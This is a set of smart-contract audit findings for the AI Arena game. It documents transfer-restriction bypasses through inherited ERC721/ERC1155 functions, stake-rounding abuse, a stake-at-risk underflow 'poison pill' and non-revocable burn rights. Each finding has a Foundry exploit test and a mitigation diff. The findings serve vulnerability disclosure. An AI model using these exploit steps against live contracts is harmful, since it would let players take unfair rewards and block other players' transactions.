AI Arena - CodeWasp's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/FighterFarm.sol#L355-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L486 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/StakeAtRisk.sol#L104

Vulnerability details

Impact

FighterFarm contract implements restrictions on transferability of fighters in functions transferFrom() and safeTransferFrom(), via the call to function _ableToTransfer(). Unfortunately this approach doesn't cover all possible ways to transfer a fighter: The FighterFarm contract inherits from OpenZeppelin's ERC721 contract, which includes the public function safeTransferFrom(..., data), i.e. the same as safeTransferFrom() but with the additional data parameter. This inherited function becomes available in the GameItems contract, and calling it allows to circumvent the transferability restriction. As a result, a player will be able to transfer any of their fighters, irrespective of whether they are locked or not. Violation of such a basic system invariant leads to various kinds of impacts, including:

• The game server won't be able to commit some transactions;
• The transferred fighter becomes unstoppable (a transaction in which it loses can't be committed);
• The transferred fighter may be used as a "poison pill" to spoil another player, and prevent it from leaving the losing zone (a transaction in which it wins can't be committed).

Both of the last two impacts include the inability of the game server to commit certain transactions, so we illustrate both of the last two with PoCs, thus illustrating the first one as well.

Impact 1: a fighter becomes unstoppable, game server unable to commit

If a fighter wins a battle, points are added to accumulatedPointsPerAddress mapping. When a fighter loses a battle, the reverse happens: points are subtracted. If a fighter is transferred after it wins the battle to another address, accumulatedPointsPerAddress for the new address is empty, and thus the points can't be subtracted: the game server transaction will be reverted. By transferring the fighter to a new address after each battle, the fighter becomes unstoppable, as its accumulated points will only grow, and will never decrease.

Impact 2: another fighter can't win, game server unable to commit

If a fighter loses a battle, funds are transferred from the amount at stake, to the stake-at risk, which is reflected in the amountLost mapping of StakeAtRisk contract. If the fighter with stake-at-risk is transferred to another player, the invariant that amountLost reflects the lost amount per address is violated: after the transfer the second player has more stake-at-risk than before. A particular way to exploit this violation is demonstrated below: the transferred fighter may win a battle, which leads to reducing amountLost by the corresponding amount. Upon subsequent wins of the second player own fighters, this operation will underflow, leading to the game server unable to commit transactions, and the player unable to exit the losing zone. This effectively makes a fighter with the stake-at-risk a "poison pill".

Proof of Concept

Impact 1: a fighter becomes unstoppable, game server unable to commit

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..dfaaad4 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,31 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+   /// @notice An exploit demonstrating that it's possible to transfer a staked fighter, and make it immortal!
+    function testExploitTransferStakedFighterAndPlay() public {
+        address player = vm.addr(3);
+        address otherPlayer = vm.addr(4);
+        _mintFromMergingPool(player);
+        uint8 tokenId = 0;
+        _fundUserWith4kNeuronByTreasury(player);
+        vm.prank(player);
+        _rankedBattleContract.stakeNRN(1 * 10 ** 18, tokenId);
+        // The fighter wins one battle
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+        // The player transfers the fighter to other player
+        vm.prank(address(player));
+        _fighterFarmContract.safeTransferFrom(player, otherPlayer, tokenId, "");
+        assertEq(_fighterFarmContract.ownerOf(tokenId), otherPlayer);
+        // The fighter can't lose
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        vm.expectRevert();
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, true);
+        // The fighter can only win: it's unstoppable!
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+    }
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Place the PoC into test/RankedBattle.t.sol, and execute with

forge test --match-test testExploitTransferStakedFighterAndPlay

Impact 2: another fighter can't win, game server unable to commit

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..196e3a0 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,62 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+/// @notice Prepare two players and two fighters
+function preparePlayersAndFighters() public returns (address, address, uint8, uint8) {
+    address player1 = vm.addr(3);
+    _mintFromMergingPool(player1);
+    uint8 fighter1 = 0;
+    _fundUserWith4kNeuronByTreasury(player1);
+    address player2 = vm.addr(4);
+    _mintFromMergingPool(player2);
+    uint8 fighter2 = 1;
+    _fundUserWith4kNeuronByTreasury(player2);
+    return (player1, player2, fighter1, fighter2);
+}
+
+/// @notice An exploit demonstrating that it's possible to transfer a fighter with funds at stake
+/// @notice After transferring the fighter, it wins the battle, 
+/// @notice and the second player can't exit from the stake-at-risk zone anymore.
+function testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer() public {
+    (address player1, address player2, uint8 fighter1, uint8 fighter2) = 
+        preparePlayersAndFighters();
+    vm.prank(player1);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter1);        
+    vm.prank(player2);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter2);        
+    // Fighter1 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 999 * 10 ** 18);
+    // Fighter2 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter2), 999 * 10 ** 18);
+
+    // On the game server, player1 initiates a battle with fighter1,
+    // then unstakes all remaining stake from fighter1, and transfers it
+    vm.prank(address(player1));
+    _rankedBattleContract.unstakeNRN(999 * 10 ** 18, fighter1);
+    vm.prank(address(player1));
+    _fighterFarmContract.safeTransferFrom(player1, player2, fighter1, "");
+    assertEq(_fighterFarmContract.ownerOf(fighter1), player2);
+    // Fighter1 wins a battle, and part of its stake-at-risk is derisked.
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 1 * 10 ** 15);
+    // Fighter2 wins a battle, but the records can't be updated, due to underflow!
+    vm.expectRevert();
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, true);
+    // Fighter2 can't ever exit from the losing zone in this round, but can lose battles
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    (uint32 wins, uint32 ties, uint32 losses) = _rankedBattleContract.getBattleRecord(fighter2);
+    assertEq(wins, 0);
+    assertEq(ties, 0);
+    assertEq(losses, 2);
+}
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Place the PoC into test/RankedBattle.t.sol, and execute with

forge test --match-test testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer

Tools Used

Manual code review

Recommended Mitigation Steps

We recommend to remove the incomplete checks in the inherited functions transferFrom() and safeTransferFrom() of FighterFarm contract, and instead to enforce the transferability restriction via the _beforeTokenTransfer() hook, which applies equally to all token transfers, as illustrated below.

diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..9f9ac54 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -330,40 +330,6 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         );
     }
 
-    /// @notice Transfer NFT ownership from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function transferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId
-    ) 
-        public 
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _transfer(from, to, tokenId);
-    }
-
-    /// @notice Safely transfers an NFT from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function safeTransferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId
-    ) 
-        public 
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _safeTransfer(from, to, tokenId, "");
-    }
-
     /// @notice Rolls a new fighter with random traits.
     /// @param tokenId ID of the fighter being re-rolled.
     /// @param fighterType The fighter type.
@@ -448,7 +414,9 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         internal
         override(ERC721, ERC721Enumerable)
     {
-        super._beforeTokenTransfer(from, to, tokenId);
+        if(from != address(0) && to != address(0))
+            require(_ableToTransfer(tokenId, to));
+        super._beforeTokenTransfer(from, to , tokenId);
     }
 
     /*//////////////////////////////////////////////////////////////

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303

Vulnerability details

Impact

GameItems contract implements restrictions on transferability of game items in function safeTransferFrom(), via the check require(allGameItemAttributes[tokenId].transferable). This restriction should hold in particular for voltage batteries: only a limited number of them can be used by a player per day. The problem with the present approach is that GameItems contracts inherits from OpenZeppelin's ERC1155 contract, which includes the public function safeBatchTransferFrom(). This inherited function becomes available in the GameItems contract, and calling it allows to circumvent the transferability restriction. As a result, a player will be able to transfer any number of batteries (or other game items with restricted transferability), and thus, in case of batteries, initiate unlimited number of fights in a round, obtaining an unfair advantage over other players, or possibly violating other system invariants.

Proof of Concept

The following PoC illustrates the exploit.

diff --git a/test/GameItems.t.sol b/test/GameItems.t.sol
index 1aa9332..ce2e712 100644
--- a/test/GameItems.t.sol
+++ b/test/GameItems.t.sol
@@ -238,6 +238,30 @@ contract GameItemsTest is Test {
         assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
     }
 
+    /// @notice Exploit for violating transferability restrictions via batch transfers
+    function testExploitViolateTransferability() public {
+        // Disable transferring game items (e.g. battery transfers are disallowed)
+        _gameItemsContract.adjustTransferability(0, false);
+        _fundUserWith4kNeuronByTreasury(msg.sender);
+        // Mint 1 battery to the sender
+        vm.startPrank(msg.sender);
+        _gameItemsContract.mint(0, 1);
+        assertEq(_gameItemsContract.balanceOf(msg.sender, 0), 1);
+        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0);
+        // Normal transfer fails (transfers are disabled)
+        vm.expectRevert();
+        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
+        uint256[] memory ids = new uint256[](1);
+        ids[0] = 0;
+        uint256[] memory amounts = new uint256[](1);
+        amounts[0] = 1;
+        // Batch transfer succeeds, thus circumventing the restriction
+        _gameItemsContract.safeBatchTransferFrom(msg.sender, _DELEGATED_ADDRESS, ids, amounts, "");
+        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
+        assertEq(_gameItemsContract.balanceOf(msg.sender, 0), 0);
+    }
+
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Insert it into test/GameItems.t.sol, and execute with

forge test --match-test testExploitViolateTransferability

Tools Used

Manual code review

Recommended Mitigation Steps

We recommend to remove the incomplete check in the inherited function safeTransferFrom(), and instead to enforce the transferability restriction via the _beforeTokenTransfer() hook, which applies equally to all token transfers, as illustrated below.

diff --git a/src/GameItems.sol b/src/GameItems.sol
index 4c810a8..fa95d24 100644
--- a/src/GameItems.sol
+++ b/src/GameItems.sol
@@ -286,22 +286,6 @@ contract GameItems is ERC1155 {
         return allGameItemAttributes.length;
     }
 
-    /// @notice Safely transfers an NFT from one address to another.
-    /// @dev Added a check to see if the game item is transferable.
-    function safeTransferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId,
-        uint256 amount,
-        bytes memory data
-    ) 
-        public 
-        override(ERC1155)
-    {
-        require(allGameItemAttributes[tokenId].transferable);
-        super.safeTransferFrom(from, to, tokenId, amount, data);
-    }
-
     /*//////////////////////////////////////////////////////////////
                             PRIVATE FUNCTIONS
     //////////////////////////////////////////////////////////////*/    
@@ -313,4 +297,23 @@ contract GameItems is ERC1155 {
         allowanceRemaining[msg.sender][tokenId] = allGameItemAttributes[tokenId].dailyAllowance;
         dailyAllowanceReplenishTime[msg.sender][tokenId] = uint32(block.timestamp + 1 days);
     }    
-}
\ No newline at end of file
+
+    /// @notice Implements the transferability restriction wrt. game items
+    function _beforeTokenTransfer(
+        address /*operator*/,
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory /*amounts*/,
+        bytes memory /*data*/
+    )
+        internal view
+        override(ERC1155)
+    {
+        if(from != address(0) && to != address(0)) {
+            for (uint256 i = 0; i < ids.length; ++i) {
+                require(allGameItemAttributes[ids[i]].transferable);
+            }
+        }
+    }
+}

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L527-L532 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L439

Vulnerability details

Impact

When a fighter wins a battle, the points it gets are calculated by multiplying its elo factor with the staking factor, the latter calculated by function _getStakingFactor() as follows:

      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    }    

As can be seen, if the staked amount is strictly less than 4 NRN (4 * 10 **18), the calculated staking factor will be 1. This holds even for extremely small amounts, such as 1 NRN wei. Thus, the stakers of 1 NRN wei receive the same rewards as stakers of up to 4 NRN.

Moreover, due to the way how stake at risk is calculated,

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

whenever bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk) is less than 10 ** 4, which holds with the default bpsLostPerLoss = 10 up to 1000 NRN wei, the curStakeAtRisk is rounded to 0. This means that for any staked amount up to 1000 NRN wei, the fighter can never lose: no stake at risk is recorded. As absence of stake at risk is the main condition for accumulating points at win, this allows such fighter to accumulate points at every win, unlike players with larger stakes, which have first to repay their stake at risk.

The above two facts, combined together, allow any fighter with stakes below 1000 NRN wei to receive hugely disproportional rewards, and always win, thus violating basic rules of the game mechanics.

Proof of Concept

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..b23921d 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,65 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+    /// @notice Prepare two players and two fighters
+    function preparePlayersAndFighters() public returns (address, address, uint8, uint8) {
+        address player1 = vm.addr(3);
+        _mintFromMergingPool(player1);
+        uint8 fighter1 = 0;
+        _fundUserWith4kNeuronByTreasury(player1);
+        address player2 = vm.addr(4);
+        _mintFromMergingPool(player2);
+        uint8 fighter2 = 1;
+        _fundUserWith4kNeuronByTreasury(player2);
+        return (player1, player2, fighter1, fighter2);
+    }
+
+    /// @notice Demonstrates that players with tiny stakes can win the same amounts
+    /// @notice as stakes up to 4 NRN, and can never lose
+    function testExploitTinyStakesAlwaysWin() public {
+        (address player1, address player2, uint8 fighter1, uint8 fighter2) = 
+            preparePlayersAndFighters();
+        // Player1 stakes 3.999 NRN
+        vm.prank(player1);
+        _rankedBattleContract.stakeNRN(3999 * 10 ** 15, fighter1);
+        // Player2 stakes 1 NRN wei
+        vm.prank(player2);
+        _rankedBattleContract.stakeNRN(1, fighter2);
+        
+        // Both fighters win
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, false);
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, false);
+
+        // Both accumulate the same number of points
+        assertEq(1500, _rankedBattleContract.accumulatedPointsPerFighter(fighter1, 0));
+        assertEq(1500, _rankedBattleContract.accumulatedPointsPerFighter(fighter2, 0));
+
+        // In the new round. both fighters lose
+        _rankedBattleContract.setNewRound();
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(fighter1, 0, 2, 1500, false);
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, false);
+
+        // Fighter1 has stake at risk, fighter2 doesn't
+        assertEq(3999 * 10 ** 12, _stakeAtRiskContract.stakeAtRisk(1, fighter1));
+        assertEq(0, _stakeAtRiskContract.stakeAtRisk(1, fighter2));
+        
+        // Both fighters win
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, false);
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, false);
+
+        // // The first fighter only reclaims its stake at risk
+        assertEq(0, _rankedBattleContract.accumulatedPointsPerFighter(fighter1, 1));
+        // // The second fighter accumulates points!
+        assertEq(1500, _rankedBattleContract.accumulatedPointsPerFighter(fighter2, 1));
+    }
+
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Place the PoC into test/RankedBattle.t.sol, and execute with

forge test --match-test testExploitTinyStakesAlwaysWin

Tools Used

Manual code review

Recommended Mitigation Steps

We recommend not to round up staking factor calculation, and to limit the minimal stake:

diff --git a/src/RankedBattle.sol b/src/RankedBattle.sol
index 53a89ca..f59115b 100644
--- a/src/RankedBattle.sol
+++ b/src/RankedBattle.sol
@@ -242,7 +242,7 @@ contract RankedBattle {
     /// @param amount The amount of NRN tokens to stake.
     /// @param tokenId The ID of the fighter to stake.
     function stakeNRN(uint256 amount, uint256 tokenId) external {
-        require(amount > 0, "Amount cannot be 0");
+        require(amount * bpsLostPerLoss >= 10 ** 4, "Staked amount is too small");
         require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
         require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
         require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");
@@ -527,9 +527,6 @@ contract RankedBattle {
       uint256 stakingFactor_ = FixedPointMathLib.sqrt(
           (amountStaked[tokenId] + stakeAtRisk) / 10**18
       );
-      if (stakingFactor_ == 0) {
-        stakingFactor_ = 1;
-      }
       return stakingFactor_;
     }    
 }
\ No newline at end of file

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/StakeAtRisk.sol#L104

Vulnerability details

Impact

In RankedBattle::unstakeNRN(), there is the following fragment

    if (amountStaked[tokenId] == 0) {
        _fighterFarmInstance.updateFighterStaking(tokenId, false);
    }

It calls into the FighterFarm contract, unlocking the fighter, which makes the fighter NFT transferable. The problem with the above fragment is that it takes only the staked amount into account, but doesn't consider for the stake-at-risk amount for that fighter. This effectively violates the invariant of the FighterFarm contract, which makes sure that a fighter is transferable only when it's not participating in battles.

One particular impact of this invariant violation is that such a fighter with the stake-at-risk, upon transferring it to another player, violates another invariant, now of the StakeAtRisk contract: that amountLost mapping accurately reflects the total lost amount of each player: after the transfer the second player has more stake-at-risk than before. A particular way to exploit this violation is demonstrated below: the transferred fighter may win a battle, which leads to reducing amountLost by the corresponding amount. Upon subsequent wins of the second player own fighters, this operation will underflow, leading to the game server unable to commit transactions, and the player unable to exit the losing zone. This effectively makes a fighter with the stake-at-risk a "poison pill", able to disrupt both another player, as well as the system as a whole. Other impacts due to the violation of the basic system invariant seem possible.

Proof of Concept

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..a7177e1 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,64 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+/// @notice Prepare two players and two fighters
+function preparePlayersAndFighters() public returns (address, address, uint8, uint8) {
+    address player1 = vm.addr(3);
+    _mintFromMergingPool(player1);
+    uint8 fighter1 = 0;
+    _fundUserWith4kNeuronByTreasury(player1);
+    address player2 = vm.addr(4);
+    _mintFromMergingPool(player2);
+    uint8 fighter2 = 1;
+    _fundUserWith4kNeuronByTreasury(player2);
+    return (player1, player2, fighter1, fighter2);
+}
+
+/// @notice An exploit demonstrating that it's possible to transfer a fighter with funds at stake
+/// @notice After transferring the fighter, it wins the battle, 
+/// @notice and the second player can't exit from the stake-at-risk zone anymore.
+function testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer() public {
+    (address player1, address player2, uint8 fighter1, uint8 fighter2) = 
+        preparePlayersAndFighters();
+    vm.prank(player1);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter1);        
+    vm.prank(player2);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter2);        
+    // Fighter1 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 999 * 10 ** 18);
+    // Fighter2 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter2), 999 * 10 ** 18);
+
+    // On the game server, player1 initiates a battle with fighter1,
+    // then unstakes all remaining stake from fighter1
+    vm.prank(address(player1));
+    _rankedBattleContract.unstakeNRN(999 * 10 ** 18, fighter1);
+    // Now fighter1 has no amount staked, only at risk, and can be transferred!
+    assertEq(_fighterFarmContract.fighterStaked(fighter1), false);
+    vm.prank(address(player1));
+    _fighterFarmContract.transferFrom(player1, player2, fighter1);
+    assertEq(_fighterFarmContract.ownerOf(fighter1), player2);
+    // Fighter1 wins a battle, and part of its stake-at-risk is derisked.
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 1 * 10 ** 15);
+    // Fighter2 wins a battle, but the records can't be updated, due to underflow!
+    vm.expectRevert();
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, true);
+    // Fighter2 can't ever exit from the losing zone in this round, but can lose battles
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    (uint32 wins, uint32 ties, uint32 losses) = _rankedBattleContract.getBattleRecord(fighter2);
+    assertEq(wins, 0);
+    assertEq(ties, 0);
+    assertEq(losses, 2);
+}
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Place the PoC into test/RankedBattle.t.sol, and execute with

forge test --match-test testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer

Tools Used

Manual code review

Recommended Mitigation Steps

We recommend to take also stake-at-risk into account when unlocking fighters, and modify the RankedBattle contract accordingly:

diff --git a/src/RankedBattle.sol b/src/RankedBattle.sol
index 53a89ca..d733bf7 100644
--- a/src/RankedBattle.sol
+++ b/src/RankedBattle.sol
@@ -282,7 +282,7 @@ contract RankedBattle {
         hasUnstaked[tokenId][roundId] = true;
         bool success = _neuronInstance.transfer(msg.sender, amount);
         if (success) {
-            if (amountStaked[tokenId] == 0) {
+            if (amountStaked[tokenId] + _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0) {
                 _fighterFarmInstance.updateFighterStaking(tokenId, false);
             }
             emit Unstaked(msg.sender, amount);

Additionally, the amountLost mapping of the StakeAtRisk contract doesn't seem to serve any purpose: it's only updated, but is not used anywhere besides tests, thus unnecessarily increasing the attack surface. We recommend to remove it altogether.

In the StakeAtRisk contract:

diff --git a/src/StakeAtRisk.sol b/src/StakeAtRisk.sol
index bdc87b5..4200368 100644
--- a/src/StakeAtRisk.sol
+++ b/src/StakeAtRisk.sol
@@ -45,9 +45,6 @@ contract StakeAtRisk {
     /// @notice Maps the roundId to the fighterId to the stake at risk for that fighter.
     mapping(uint256 => mapping(uint256 => uint256)) public stakeAtRisk;
 
-    /// @notice Mapping of address to the amount of NRNs that have been swept.
-    mapping(address => uint256) public amountLost;
-
     /*//////////////////////////////////////////////////////////////
                                CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -101,7 +98,6 @@ contract StakeAtRisk {
         if (success) {
             stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
             totalStakeAtRisk[roundId] -= nrnToReclaim;
-            amountLost[fighterOwner] -= nrnToReclaim;
             emit ReclaimedStake(fighterId, nrnToReclaim);
         }
     }
@@ -122,7 +118,6 @@ contract StakeAtRisk {
         require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
         stakeAtRisk[roundId][fighterId] += nrnToPlaceAtRisk;
         totalStakeAtRisk[roundId] += nrnToPlaceAtRisk;
-        amountLost[fighterOwner] += nrnToPlaceAtRisk;
         emit IncreasedStakeAtRisk(fighterId, nrnToPlaceAtRisk);
     }   

In the StakeAtRisk contract tests:

diff --git a/test/StakeAtRisk.t.sol b/test/StakeAtRisk.t.sol
index a49e09e..05eeffc 100644
--- a/test/StakeAtRisk.t.sol
+++ b/test/StakeAtRisk.t.sol
@@ -119,7 +119,6 @@ contract StakeAtRiskTest is Test {
         vm.prank(address(_rankedBattleContract));
         _stakeAtRiskContract.setNewRound(1);
         assertEq(_stakeAtRiskContract.roundId(), 1);
-        assertEq(_stakeAtRiskContract.amountLost(player), expectedStakeAtRiskAmount);
     }
 
     /// @notice Test the rankedBattle contract calling reclaimNRN to reclaim NRN tokens that are  at risk for a fighter.
@@ -140,7 +139,6 @@ contract StakeAtRiskTest is Test {
         assertEq(_stakeAtRiskContract.stakeAtRisk(0, 0), expectedStakeAtRiskAmount);
         vm.prank(address(_rankedBattleContract));
         _stakeAtRiskContract.reclaimNRN(expectedStakeAtRiskAmount, tokenId, player);
-        assertEq(_stakeAtRiskContract.amountLost(player), 0);
         assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0);
     }
 
@@ -173,7 +171,6 @@ contract StakeAtRiskTest is Test {
         // ranked battle contracts updates at risk amount for players fighter
         vm.prank(address(_rankedBattleContract));
         _stakeAtRiskContract.updateAtRiskRecords(newStakeAtRiskAmount, tokenId, player);
-        assertEq(_stakeAtRiskContract.amountLost(player), newTotlaStakeAtRiskAmount);
         assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), newTotlaStakeAtRiskAmount);
     }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/GameItems.sol#L185-L187

Vulnerability details

Impact

GameItems keeps addresses that are allowed to burn game items in its allowedBurningAddresses mapping. These addresses are perpetually approved in setAllowedBurningAddresses().

If one of these addresses becomes compromised, there is no way of banning it.

Proof of Concept

(omitted: the steps to replicate are the same as normal operation)

Tools Used

Manual code review

Recommended Mitigation Steps

Pass a boolean flag to adjust access, as is already done for admin access.

diff --git a/src/GameItems.sol b/src/GameItems.sol
index 4c810a8..6a75120 100644
--- a/src/GameItems.sol
+++ b/src/GameItems.sol
@@ -179,12 +179,13 @@ contract GameItems is ERC1155 {
                             PUBLIC FUNCTIONS
     //////////////////////////////////////////////////////////////*/    
 
-    /// @notice Sets the allowed burning addresses.
+    /// @notice Adjust burning rights for an address.
     /// @dev Only the admins are authorized to call this function.
-    /// @param newBurningAddress The address to allow for burning.
-    function setAllowedBurningAddresses(address newBurningAddress) public {
+    /// @param burningAddress The address for burning game items.
+    /// @param access Whether the address can burn items or not.
+    function setAllowedBurningAddresses(address burningAddress, bool access) public {
         require(isAdmin[msg.sender]);
-        allowedBurningAddresses[newBurningAddress] = true;
+        allowedBurningAddresses[burningAddress] = access;
     }
 
     /// @notice Sets the token URI for a game item

Assessed type

Access Control